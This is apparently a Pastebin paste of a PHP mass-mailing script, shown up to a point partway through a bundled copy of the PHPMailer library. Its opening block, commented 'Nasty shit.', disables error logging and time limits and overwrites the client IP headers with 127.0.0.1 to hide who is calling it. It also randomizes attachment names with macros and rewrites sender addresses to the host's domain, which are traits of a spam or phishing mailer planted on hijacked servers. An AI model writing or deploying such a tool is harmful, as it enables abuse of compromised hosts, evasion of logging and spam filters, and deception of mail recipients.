Guest User

Untitled

a guest
Sep 16th, 2016
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 106.91 KB | None | 0 0
  1. <?php
  2.  
  3. //Nasty shit.
  4. @ini_set('error_log', NULL);
  5. @ini_set('log_errors', 0);
  6. @ini_set('max_execution_time', 0);
  7. @set_time_limit(0);
  8.  
  9. if(isset($_SERVER))
  10. {
  11.     $_SERVER['PHP_SELF'] = "/";
  12.     $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  13.     if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  14.     {
  15.         $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  16.     }
  17. }
  18. if(isset($_FILES))
  19. {
  20.     foreach($_FILES as $key => $file)
  21.     {
  22.         if(!strpos($file['name'], ".jpg"))
  23.         {
  24.             $filename = alter_macros($file['name']);
  25.             $filename = num_macros($filename);
  26.             $filename = xnum_macros($filename);
  27.             $_FILES[$key]["name"] = $filename;
  28.         }
  29.     }
  30. }
  31.    
  32. function custom_strip_tags($text)
  33. {
  34.     $text = strip_tags($text, '<a>');
  35.     $text = str_replace("<a href=\"", "[ ", $text);
  36.     $text = str_replace("</a>", "", $text);
  37.     $text = str_replace("\">", " ] ", $text);
  38.     return $text;
  39. }
  40. function is_ip($str) {
  41.   return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  42. }
  43. function from_host($content)
  44. {
  45.     $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  46.     if (is_ip($host))
  47.     {
  48.         return $content;
  49.     }
  50.    
  51.     $tokens = explode("@", $content);
  52.     $content = $tokens[0] . "@" . $host . ">";
  53.     return $content;
  54. }
  55. function alter_macros($content)
  56. {
  57.     preg_match_all('#{(.*)}#Ui', $content, $matches);
  58.     for($i = 0; $i < count($matches[1]); $i++)
  59.     {
  60.         $ns = explode("|", $matches[1][$i]);
  61.         $c2 = count($ns);
  62.         $rand = rand(0, ($c2 - 1));
  63.         $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  64.     }
  65.     return $content;
  66. }
  67.  
  68. function xnum_macros($content)
  69. {
  70.     preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  71.     for($i = 0; $i < count($matches[0]); $i++)
  72.     {
  73.         $num = $matches[1][$i];
  74.         $min = pow(10, $num - 1);
  75.         $max = pow(10, $num) - 1;
  76.         $rand = rand($min, $max);
  77.         $content = str_replace($matches[0][$i], $rand, $content);
  78.     }
  79.     return $content;
  80. }
  81. function num_macros($content)
  82. {
  83.     preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  84.     for($i = 0; $i < count($matches[0]); $i++)
  85.     {
  86.         $min = $matches[1][$i];
  87.         $max = $matches[2][$i];
  88.         $rand = rand($min, $max);
  89.         $content = str_replace($matches[0][$i], $rand, $content);
  90.     }
  91.     return $content;
  92. }
  93.  
  94. function fteil_macros($content, $fteil)
  95. {    
  96.     return str_replace("[FTEIL]", $fteil, $content);
  97. }
  98. class SMTP
  99. {
  100.     const VERSION = '5.2.10';
  101.     const CRLF = "\r\n";
  102.     const DEFAULT_SMTP_PORT = 25;
  103.     const MAX_LINE_LENGTH = 998;
  104.     const DEBUG_OFF = 0;
  105.     const DEBUG_CLIENT = 1;
  106.     const DEBUG_SERVER = 2;
  107.     const DEBUG_CONNECTION = 3;
  108.     const DEBUG_LOWLEVEL = 4;
  109.     public $Version = '5.2.10';
  110.     public $SMTP_PORT = 25;
  111.     public $CRLF = "\r\n";
  112.     public $do_debug = self::DEBUG_OFF;
  113.     public $Debugoutput = 'echo';
  114.     public $do_verp = false;
  115.     public $Timeout = 300;
  116.     public $Timelimit = 300;
  117.     protected $smtp_conn;
  118.     protected $error = array(
  119.         'error' => '',
  120.         'detail' => '',
  121.         'smtp_code' => '',
  122.         'smtp_code_ex' => ''
  123.     );
  124.     protected $helo_rply = null;
  125.     protected $server_caps = null;
  126.     protected $last_reply = '';
  127.     protected function edebug($str, $level = 0)
  128.     {
  129.         if ($level > $this->do_debug) {
  130.             return;
  131.         }
  132.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  133.             call_user_func($this->Debugoutput, $str, $this->do_debug);
  134.             return;
  135.         }
  136.         switch ($this->Debugoutput) {
  137.             case 'error_log':
  138.                 error_log($str);
  139.                 break;
  140.             case 'html':
  141.                 echo htmlentities(
  142.                     preg_replace('/[\r\n]+/', '', $str),
  143.                     ENT_QUOTES,
  144.                     'UTF-8'
  145.                 )
  146.                 . "<br>\n";
  147.                 break;
  148.             case 'echo':
  149.             default:
  150.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  151.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  152.                     "\n",
  153.                     "\n                   \t                  ",
  154.                     trim($str)
  155.                 )."\n";
  156.         }
  157.     }
  158.     public function connect($host, $port = null, $timeout = 30, $options = array())
  159.     {
  160.         static $streamok;
  161.         if (is_null($streamok)) {
  162.             $streamok = function_exists('stream_socket_client');
  163.         }
  164.         $this->setError('');
  165.         if ($this->connected()) {
  166.             $this->setError('Already connected to a server');
  167.             return false;
  168.         }
  169.         if (empty($port)) {
  170.             $port = self::DEFAULT_SMTP_PORT;
  171.         }
  172.         $this->edebug(
  173.             "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  174.             self::DEBUG_CONNECTION
  175.         );
  176.         $errno = 0;
  177.         $errstr = '';
  178.         if ($streamok) {
  179.             $socket_context = stream_context_create($options);
  180.             $this->smtp_conn = @stream_socket_client(
  181.                 $host . ":" . $port,
  182.                 $errno,
  183.                 $errstr,
  184.                 $timeout,
  185.                 STREAM_CLIENT_CONNECT,
  186.                 $socket_context
  187.             );
  188.         } else {
  189.             $this->edebug(
  190.                 "Connection: stream_socket_client not available, falling back to fsockopen",
  191.                 self::DEBUG_CONNECTION
  192.             );
  193.             $this->smtp_conn = fsockopen(
  194.                 $host,
  195.                 $port,
  196.                 $errno,
  197.                 $errstr,
  198.                 $timeout
  199.             );
  200.         }
  201.         if (!is_resource($this->smtp_conn)) {
  202.             $this->setError(
  203.                 'Failed to connect to server',
  204.                 $errno,
  205.                 $errstr
  206.             );
  207.             $this->edebug(
  208.                 'SMTP ERROR: ' . $this->error['error']
  209.                 . ": $errstr ($errno)",
  210.                 self::DEBUG_CLIENT
  211.             );
  212.             return false;
  213.         }
  214.         $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  215.         if (substr(PHP_OS, 0, 3) != 'WIN') {
  216.             $max = ini_get('max_execution_time');
  217.             if ($max != 0 && $timeout > $max) {
  218.                 @set_time_limit($timeout);
  219.             }
  220.             stream_set_timeout($this->smtp_conn, $timeout, 0);
  221.         }
  222.         $announce = $this->get_lines();
  223.         $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  224.         return true;
  225.     }
  226.     public function startTLS()
  227.     {
  228.         if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  229.             return false;
  230.         }
  231.         if (!stream_socket_enable_crypto(
  232.             $this->smtp_conn,
  233.             true,
  234.             STREAM_CRYPTO_METHOD_TLS_CLIENT
  235.         )) {
  236.             return false;
  237.         }
  238.         return true;
  239.     }
  240.     public function authenticate(
  241.         $username,
  242.         $password,
  243.         $authtype = null,
  244.         $realm = '',
  245.         $workstation = ''
  246.     ) {
  247.         if (!$this->server_caps) {
  248.             $this->setError('Authentication is not allowed before HELO/EHLO');
  249.             return false;
  250.         }
  251.         if (array_key_exists('EHLO', $this->server_caps)) {
  252.             if (!array_key_exists('AUTH', $this->server_caps)) {
  253.                 $this->setError('Authentication is not allowed at this stage');
  254.                 return false;
  255.             }
  256.             self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  257.             self::edebug(
  258.                 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  259.                 self::DEBUG_LOWLEVEL
  260.             );
  261.             if (empty($authtype)) {
  262.                 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  263.                     if (in_array($method, $this->server_caps['AUTH'])) {
  264.                         $authtype = $method;
  265.                         break;
  266.                     }
  267.                 }
  268.                 if (empty($authtype)) {
  269.                     $this->setError('No supported authentication methods found');
  270.                     return false;
  271.                 }
  272.                 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  273.             }
  274.             if (!in_array($authtype, $this->server_caps['AUTH'])) {
  275.                 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  276.                 return false;
  277.             }
  278.         } elseif (empty($authtype)) {
  279.             $authtype = 'LOGIN';
  280.         }
  281.         switch ($authtype) {
  282.             case 'PLAIN':
  283.                 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  284.                     return false;
  285.                 }
  286.                 if (!$this->sendCommand(
  287.                     'User & Password',
  288.                     base64_encode("\0" . $username . "\0" . $password),
  289.                     235
  290.                 )
  291.                 ) {
  292.                     return false;
  293.                 }
  294.                 break;
  295.             case 'LOGIN':
  296.                 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  297.                     return false;
  298.                 }
  299.                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  300.                     return false;
  301.                 }
  302.                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  303.                     return false;
  304.                 }
  305.                 break;
  306.             case 'NTLM':
  307.                 require_once 'extras/ntlm_sasl_client.php';
  308.                 $temp = new stdClass;
  309.                 $ntlm_client = new ntlm_sasl_client_class;
  310.                 if (!$ntlm_client->Initialize($temp)) {
  311.                     $this->setError($temp->error);
  312.                     $this->edebug(
  313.                         'You need to enable some modules in your php.ini file: '
  314.                         . $this->error['error'],
  315.                         self::DEBUG_CLIENT
  316.                     );
  317.                     return false;
  318.                 }
  319.                 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  320.                 if (!$this->sendCommand(
  321.                     'AUTH NTLM',
  322.                     'AUTH NTLM ' . base64_encode($msg1),
  323.                     334
  324.                 )
  325.                 ) {
  326.                     return false;
  327.                 }
  328.                 $challenge = substr($this->last_reply, 3);
  329.                 $challenge = b64d($challenge);
  330.                 $ntlm_res = $ntlm_client->NTLMResponse(
  331.                     substr($challenge, 24, 8),
  332.                     $password
  333.                 );
  334.                 $msg3 = $ntlm_client->TypeMsg3(
  335.                     $ntlm_res,
  336.                     $username,
  337.                     $realm,
  338.                     $workstation
  339.                 );
  340.                 return $this->sendCommand('Username', base64_encode($msg3), 235);
  341.             case 'CRAM-MD5':
  342.                 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  343.                     return false;
  344.                 }
  345.                 $challenge = b64d(substr($this->last_reply, 4));
  346.                 $response = $username . ' ' . $this->hmac($challenge, $password);
  347.                 return $this->sendCommand('Username', base64_encode($response), 235);
  348.             default:
  349.                 $this->setError("Authentication method \"$authtype\" is not supported");
  350.                 return false;
  351.         }
  352.         return true;
  353.     }
  354.     protected function hmac($data, $key)
  355.     {
  356.         if (function_exists('hash_hmac')) {
  357.             return hash_hmac('md5', $data, $key);
  358.         }
  359.         $bytelen = 64; // byte length for md5
  360.         if (strlen($key) > $bytelen) {
  361.             $key = pack('H*', md5($key));
  362.         }
  363.         $key = str_pad($key, $bytelen, chr(0x00));
  364.         $ipad = str_pad('', $bytelen, chr(0x36));
  365.         $opad = str_pad('', $bytelen, chr(0x5c));
  366.         $k_ipad = $key ^ $ipad;
  367.         $k_opad = $key ^ $opad;
  368.         return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  369.     }
  370.     public function connected()
  371.     {
  372.         if (is_resource($this->smtp_conn)) {
  373.             $sock_status = stream_get_meta_data($this->smtp_conn);
  374.             if ($sock_status['eof']) {
  375.                 $this->edebug(
  376.                     'SMTP NOTICE: EOF caught while checking if connected',
  377.                     self::DEBUG_CLIENT
  378.                 );
  379.                 $this->close();
  380.                 return false;
  381.             }
  382.             return true; // everything looks good
  383.         }
  384.         return false;
  385.     }
  386.     public function close()
  387.     {
  388.         $this->setError('');
  389.         $this->server_caps = null;
  390.         $this->helo_rply = null;
  391.         if (is_resource($this->smtp_conn)) {
  392.             fclose($this->smtp_conn);
  393.             $this->smtp_conn = null; //Makes for cleaner serialization
  394.             $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  395.         }
  396.     }
  397.     public function data($msg_data)
  398.     {
  399.         if (!$this->sendCommand('DATA', 'DATA', 354)) {
  400.             return false;
  401.         }
  402.         $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  403.         $field = substr($lines[0], 0, strpos($lines[0], ':'));
  404.         $in_headers = false;
  405.         if (!empty($field) && strpos($field, ' ') === false) {
  406.             $in_headers = true;
  407.         }
  408.         foreach ($lines as $line) {
  409.             $lines_out = array();
  410.             if ($in_headers and $line == '') {
  411.                 $in_headers = false;
  412.             }
  413.             while (isset($line[self::MAX_LINE_LENGTH])) {
  414.                 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  415.                 if (!$pos) {
  416.                     $pos = self::MAX_LINE_LENGTH - 1;
  417.                     $lines_out[] = substr($line, 0, $pos);
  418.                     $line = substr($line, $pos);
  419.                 } else {
  420.                     $lines_out[] = substr($line, 0, $pos);
  421.                     $line = substr($line, $pos + 1);
  422.                 }
  423.                 if ($in_headers) {
  424.                     $line = "\t" . $line;
  425.                 }
  426.             }
  427.             $lines_out[] = $line;
  428.             foreach ($lines_out as $line_out) {
  429.                 if (!empty($line_out) and $line_out[0] == '.') {
  430.                     $line_out = '.' . $line_out;
  431.                 }
  432.                 $this->client_send($line_out . self::CRLF);
  433.             }
  434.         }
  435.         $savetimelimit = $this->Timelimit;
  436.         $this->Timelimit = $this->Timelimit * 2;
  437.         $result = $this->sendCommand('DATA END', '.', 250);
  438.         $this->Timelimit = $savetimelimit;
  439.         return $result;
  440.     }
  441.     public function hello($host = '')
  442.     {
  443.         return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  444.     }
  445.     protected function sendHello($hello, $host)
  446.     {
  447.         $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  448.         $this->helo_rply = $this->last_reply;
  449.         if ($noerror) {
  450.             $this->parseHelloFields($hello);
  451.         } else {
  452.             $this->server_caps = null;
  453.         }
  454.         return $noerror;
  455.     }
  456.     protected function parseHelloFields($type)
  457.     {
  458.         $this->server_caps = array();
  459.         $lines = explode("\n", $this->last_reply);
  460.         foreach ($lines as $n => $s) {
  461.             $s = trim(substr($s, 4));
  462.             if (!$s) {
  463.                 continue;
  464.             }
  465.             $fields = explode(' ', $s);
  466.             if (!empty($fields)) {
  467.                 if (!$n) {
  468.                     $name = $type;
  469.                     $fields = $fields[0];
  470.                 } else {
  471.                     $name = array_shift($fields);
  472.                     if ($name == 'SIZE') {
  473.                         $fields = ($fields) ? $fields[0] : 0;
  474.                     }
  475.                 }
  476.                 $this->server_caps[$name] = ($fields ? $fields : true);
  477.             }
  478.         }
  479.     }
  480.     public function mail($from)
  481.     {
  482.         $useVerp = ($this->do_verp ? ' XVERP' : '');
  483.         return $this->sendCommand(
  484.             'MAIL FROM',
  485.             'MAIL FROM:<' . $from . '>' . $useVerp,
  486.             250
  487.         );
  488.     }
  489.     public function quit($close_on_error = true)
  490.     {
  491.         $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  492.         $err = $this->error; //Save any error
  493.         if ($noerror or $close_on_error) {
  494.             $this->close();
  495.             $this->error = $err; //Restore any error from the quit command
  496.         }
  497.         return $noerror;
  498.     }
  499.     public function recipient($toaddr)
  500.     {
  501.         return $this->sendCommand(
  502.             'RCPT TO',
  503.             'RCPT TO:<' . $toaddr . '>',
  504.             array(250, 251)
  505.         );
  506.     }
  507.     public function reset()
  508.     {
  509.         return $this->sendCommand('RSET', 'RSET', 250);
  510.     }
  511.     protected function sendCommand($command, $commandstring, $expect)
  512.     {
  513.         if (!$this->connected()) {
  514.             $this->setError("Called $command without being connected");
  515.             return false;
  516.         }
  517.         $this->client_send($commandstring . self::CRLF);
  518.         $this->last_reply = $this->get_lines();
  519.         $matches = array();
  520.         if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  521.             $code = $matches[1];
  522.             $code_ex = (count($matches) > 2 ? $matches[2] : null);
  523.             $detail = preg_replace(
  524.                 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  525.                 '',
  526.                 $this->last_reply
  527.             );
  528.         } else {
  529.             $code = substr($this->last_reply, 0, 3);
  530.             $code_ex = null;
  531.             $detail = substr($this->last_reply, 4);
  532.         }
  533.         $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  534.         if (!in_array($code, (array)$expect)) {
  535.             $this->setError(
  536.                 "$command command failed",
  537.                 $detail,
  538.                 $code,
  539.                 $code_ex
  540.             );
  541.             $this->edebug(
  542.                 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  543.                 self::DEBUG_CLIENT
  544.             );
  545.             return false;
  546.         }
  547.         $this->setError('');
  548.         return true;
  549.     }
  550.     public function sendAndMail($from)
  551.     {
  552.         return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  553.     }
  554.     public function verify($name)
  555.     {
  556.         return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  557.     }
  558.     public function noop()
  559.     {
  560.         return $this->sendCommand('NOOP', 'NOOP', 250);
  561.     }
  562.     public function turn()
  563.     {
  564.         $this->setError('The SMTP TURN command is not implemented');
  565.         $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  566.         return false;
  567.     }
  568.     public function client_send($data)
  569.     {
  570.         $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  571.         return fwrite($this->smtp_conn, $data);
  572.     }
  573.     public function getError()
  574.     {
  575.         return $this->error;
  576.     }
  577.     public function getServerExtList()
  578.     {
  579.         return $this->server_caps;
  580.     }
  581.     public function getServerExt($name)
  582.     {
  583.         if (!$this->server_caps) {
  584.             $this->setError('No HELO/EHLO was sent');
  585.             return null;
  586.         }
  587.         // the tight logic knot ;)
  588.         if (!array_key_exists($name, $this->server_caps)) {
  589.             if ($name == 'HELO') {
  590.                 return $this->server_caps['EHLO'];
  591.             }
  592.             if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  593.                 return false;
  594.             }
  595.             $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  596.             return null;
  597.         }
  598.         return $this->server_caps[$name];
  599.     }
  600.     public function getLastReply()
  601.     {
  602.         return $this->last_reply;
  603.     }
  604.     protected function get_lines()
  605.     {
  606.         if (!is_resource($this->smtp_conn)) {
  607.             return '';
  608.         }
  609.         $data = '';
  610.         $endtime = 0;
  611.         stream_set_timeout($this->smtp_conn, $this->Timeout);
  612.         if ($this->Timelimit > 0) {
  613.             $endtime = time() + $this->Timelimit;
  614.         }
  615.         while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  616.             $str = @fgets($this->smtp_conn, 515);
  617.             $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  618.             $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  619.             $data .= $str;
  620.             $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  621.             if ((isset($str[3]) and $str[3] == ' ')) {
  622.                 break;
  623.             }
  624.             $info = stream_get_meta_data($this->smtp_conn);
  625.             if ($info['timed_out']) {
  626.                 $this->edebug(
  627.                     'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  628.                     self::DEBUG_LOWLEVEL
  629.                 );
  630.                 break;
  631.             }
  632.             if ($endtime and time() > $endtime) {
  633.                 $this->edebug(
  634.                     'SMTP -> get_lines(): timelimit reached ('.
  635.                     $this->Timelimit . ' sec)',
  636.                     self::DEBUG_LOWLEVEL
  637.                 );
  638.                 break;
  639.             }
  640.         }
  641.         return $data;
  642.     }
  643.     public function setVerp($enabled = false)
  644.     {
  645.         $this->do_verp = $enabled;
  646.     }
  647.     public function getVerp()
  648.     {
  649.         return $this->do_verp;
  650.     }
  651.     protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  652.     {
  653.         $this->error = array(
  654.             'error' => $message,
  655.             'detail' => $detail,
  656.             'smtp_code' => $smtp_code,
  657.             'smtp_code_ex' => $smtp_code_ex
  658.         );
  659.     }
  660.     public function setDebugOutput($method = 'echo')
  661.     {
  662.         $this->Debugoutput = $method;
  663.     }
  664.     public function getDebugOutput()
  665.     {
  666.         return $this->Debugoutput;
  667.     }
  668.     public function setDebugLevel($level = 0)
  669.     {
  670.         $this->do_debug = $level;
  671.     }
  672.     public function getDebugLevel()
  673.     {
  674.         return $this->do_debug;
  675.     }
  676.     public function setTimeout($timeout = 0)
  677.     {
  678.         $this->Timeout = $timeout;
  679.     }
  680.     public function getTimeout()
  681.     {
  682.         return $this->Timeout;
  683.     }
  684. }
  685. class PHPMailer
  686. {
  687.     public $Version = '5.2.9';
  688.     public $Priority = 3;
  689.     public $CharSet = 'iso-8859-1';
  690.     public $ContentType = 'text/plain';
  691.     public $Encoding = '8bit';
  692.     public $ErrorInfo = '';
  693.     public $From = 'root@localhost';
  694.     public $FromName = 'Root User';
  695.     public $Sender = '';
  696.     public $ReturnPath = '';
  697.     public $Subject = '';
  698.     public $Body = '';
  699.     public $AltBody = '';
  700.     public $Ical = '';
  701.     protected $MIMEBody = '';
  702.     protected $MIMEHeader = '';
  703.     protected $mailHeader = '';
  704.     public $WordWrap = 0;
  705.     public $Mailer = 'mail';
  706.     public $Sendmail = '/usr/sbin/sendmail';
  707.     public $UseSendmailOptions = true;
  708.     public $PluginDir = '';
  709.     public $ConfirmReadingTo = '';
  710.     public $Hostname = '';
  711.     public $MessageID = '';
  712.     public $MessageDate = '';
  713.     public $Host = 'localhost';
  714.     public $Port = 25;
  715.     public $Helo = '';
  716.     public $SMTPSecure = '';
  717.     public $SMTPAuth = false;
  718.     public $Username = '';
  719.     public $Password = '';
  720.     public $AuthType = '';
  721.     public $Realm = '';
  722.     public $Workstation = '';
  723.     public $Timeout = 300;
  724.     public $SMTPDebug = 0;
  725.     public $Debugoutput = 'echo';
  726.     public $SMTPKeepAlive = false;
  727.     public $SingleTo = false;
  728.     public $SingleToArray = array();
  729.     public $do_verp = false;
  730.     public $AllowEmpty = false;
  731.     public $LE = "\n";
  732.     public $DKIM_selector = '';
  733.     public $DKIM_identity = '';
  734.     public $DKIM_passphrase = '';
  735.     public $DKIM_domain = '';
  736.     public $DKIM_private = '';
  737.     public $action_function = '';
  738.     public $XMailer = '';
  739.     protected $smtp = null;
  740.     protected $to = array();
  741.     protected $cc = array();
  742.     protected $bcc = array();
  743.     protected $ReplyTo = array();
  744.     protected $all_recipients = array();
  745.     protected $attachment = array();
  746.     protected $CustomHeader = array();
  747.     protected $lastMessageID = '';
  748.     protected $message_type = '';
  749.     protected $boundary = array();
  750.     protected $language = array();
  751.     protected $error_count = 0;
  752.     protected $sign_cert_file = '';
  753.     protected $sign_key_file = '';
  754.     protected $sign_key_pass = '';
  755.     protected $exceptions = false;
  756.     const STOP_MESSAGE = 0;
  757.     const STOP_CONTINUE = 1;
  758.     const STOP_CRITICAL = 2;
  759.     const CRLF = "\r\n";
  760.     public function __construct($exceptions = false)
  761.     {
  762.         $this->exceptions = (boolean)$exceptions;
  763.     }
  764.     public function __destruct()
  765.     {
  766.     }
  767.     private function mailPassthru($to, $subject, $body, $header, $params)
  768.     {
  769.         //Check overloading of mail function to avoid double-encoding
  770.         if (ini_get('mbstring.func_overload') & 1) {
  771.             $subject = $this->secureHeader($subject);
  772.         } else {
  773.             $subject = $this->encodeHeader($this->secureHeader($subject));
  774.         }
  775.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  776.             $result = @mail($to, $subject, $body, $header);
  777.         } else {
  778.             $result = @mail($to, $subject, $body, $header, $params);
  779.         }
  780.         return $result;
  781.     }
  782.     protected function edebug($str)
  783.     {
  784.         if ($this->SMTPDebug <= 0) {
  785.             return;
  786.         }
  787.         //Avoid clash with built-in function names
  788.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  789.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  790.             return;
  791.         }
  792.         switch ($this->Debugoutput) {
  793.             case 'error_log':
  794.                 //Don't output, just log
  795.                 error_log($str);
  796.                 break;
  797.             case 'html':
  798.                 //Cleans up output a bit for a better looking, HTML-safe output
  799.                 echo htmlentities(
  800.                     preg_replace('/[\r\n]+/', '', $str),
  801.                     ENT_QUOTES,
  802.                     'UTF-8'
  803.                 )
  804.                 . "<br>\n";
  805.                 break;
  806.             case 'echo':
  807.             default:
  808.                 //Normalize line breaks
  809.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  810.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  811.                     "\n",
  812.                     "\n                   \t                  ",
  813.                     trim($str)
  814.                 ) . "\n";
  815.         }
  816.     }
  817.     public function isHTML($isHtml = true)
  818.     {
  819.         if ($isHtml) {
  820.             $this->ContentType = 'text/html';
  821.         } else {
  822.             $this->ContentType = 'text/plain';
  823.         }
  824.     }
  825.     public function isSMTP()
  826.     {
  827.         $this->Mailer = 'smtp';
  828.     }
  829.     public function isMail()
  830.     {
  831.         $this->Mailer = 'mail';
  832.     }
  833.     public function isSendmail()
  834.     {
  835.         $ini_sendmail_path = ini_get('sendmail_path');
  836.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  837.             $this->Sendmail = '/usr/sbin/sendmail';
  838.         } else {
  839.             $this->Sendmail = $ini_sendmail_path;
  840.         }
  841.         $this->Mailer = 'sendmail';
  842.     }
  843.     public function isQmail()
  844.     {
  845.         $ini_sendmail_path = ini_get('sendmail_path');
  846.         if (!stristr($ini_sendmail_path, 'qmail')) {
  847.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  848.         } else {
  849.             $this->Sendmail = $ini_sendmail_path;
  850.         }
  851.         $this->Mailer = 'qmail';
  852.     }
  853.     public function addAddress($address, $name = '')
  854.     {
  855.         return $this->addAnAddress('to', $address, $name);
  856.     }
  857.     public function addCC($address, $name = '')
  858.     {
  859.         return $this->addAnAddress('cc', $address, $name);
  860.     }
  861.     public function addBCC($address, $name = '')
  862.     {
  863.         return $this->addAnAddress('bcc', $address, $name);
  864.     }
  865.     public function addReplyTo($address, $name = '')
  866.     {
  867.         return $this->addAnAddress('Reply-To', $address, $name);
  868.     }
  869.     protected function addAnAddress($kind, $address, $name = '')
  870.     {
  871.         if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  872.             $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  873.             $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  874.             if ($this->exceptions) {
  875.                 throw new phpmailerException('Invalid recipient array: ' . $kind);
  876.             }
  877.             return false;
  878.         }
  879.         $address = trim($address);
  880.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  881.         if (!$this->validateAddress($address)) {
  882.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  883.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  884.             if ($this->exceptions) {
  885.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  886.             }
  887.             return false;
  888.         }
  889.         if ($kind != 'Reply-To') {
  890.             if (!isset($this->all_recipients[strtolower($address)])) {
  891.                 array_push($this->$kind, array($address, $name));
  892.                 $this->all_recipients[strtolower($address)] = true;
  893.                 return true;
  894.             }
  895.         } else {
  896.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  897.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  898.                 return true;
  899.             }
  900.         }
  901.         return false;
  902.     }
  903.     public function setFrom($address, $name = '', $auto = true)
  904.     {
  905.         $address = trim($address);
  906.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  907.         if (!$this->validateAddress($address)) {
  908.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  909.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  910.             if ($this->exceptions) {
  911.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  912.             }
  913.             return false;
  914.         }
  915.         $this->From = $address;
  916.         $this->FromName = $name;
  917.         if ($auto) {
  918.             if (empty($this->Sender)) {
  919.                 $this->Sender = $address;
  920.             }
  921.         }
  922.         return true;
  923.     }
  924.     public function getLastMessageID()
  925.     {
  926.         return $this->lastMessageID;
  927.     }
  928.     public static function validateAddress($address, $patternselect = 'auto')
  929.     {
  930.         if (!$patternselect or $patternselect == 'auto') {
  931.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  932.             //Constant was added in PHP 5.2.4
  933.             if (defined('PCRE_VERSION')) {
  934.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  935.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  936.                     $patternselect = 'pcre8';
  937.                 } else {
  938.                     $patternselect = 'pcre';
  939.                 }
  940.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  941.                 //Fall back to older PCRE
